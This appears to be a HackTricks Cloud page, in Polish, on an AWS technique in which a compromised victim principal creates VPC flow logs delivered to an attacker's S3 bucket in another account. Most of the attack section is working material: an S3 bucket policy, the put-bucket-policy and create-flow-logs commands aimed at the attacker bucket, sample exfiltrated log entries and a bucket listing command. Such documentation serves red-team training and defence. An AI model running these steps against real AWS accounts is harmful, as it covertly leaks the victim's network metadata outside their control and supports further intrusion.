AWS - VPC Flow Logs: eksfiltracja między kontami do S3
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podsumowanie
Wykorzystaj ec2:CreateFlowLogs do eksportu VPC, subnet lub ENI flow logs bezpośrednio do kontrolowanego przez atakującego bucketu S3. Gdy delivery role zostanie skonfigurowana do zapisu do zewnętrznego bucketu, każde połączenie widoczne na monitorowanym zasobie jest przesyłane poza konto ofiary.
Wymagania
- Principal ofiary:
ec2:CreateFlowLogs,ec2:DescribeFlowLogs, oraziam:PassRole(jeśli wymagana/utworzona delivery role). - Bucket atakującego: polityka S3, która ufa
delivery.logs.amazonaws.comz uprawnieniamis3:PutObjectibucket-owner-full-control. - Opcjonalnie:
logs:DescribeLogGroupsjeśli eksport do CloudWatch zamiast S3 (niepotrzebne tutaj).
Przebieg ataku
- Atakujący przygotowuje politykę bucketu S3 (w koncie atakującego), która pozwala VPC Flow Logs delivery service na zapisywanie obiektów. Zastąp placeholdery przed zastosowaniem:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
Zastosuj z konta atakującego:
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
- Victim (compromised principal) tworzy flow logs wskazujące na attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"
W ciągu kilku minut pliki flow log pojawiają się w attacker bucket, zawierające połączenia dla wszystkich ENI w monitorowanym VPC/subnet.
Dowody
Przykładowe wpisy flow log zapisane w attacker bucket:
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
Dowód listowania bucketu:
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
Wpływ
- Ciągła exfiltration metadanych sieciowych (source/destination IPs, ports, protocols) dla monitorowanego VPC/subnet/ENI.
- Umożliwia analizę ruchu, identyfikację usług wrażliwych oraz potencjalne poszukiwanie błędów konfiguracji security group spoza konta ofiary.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

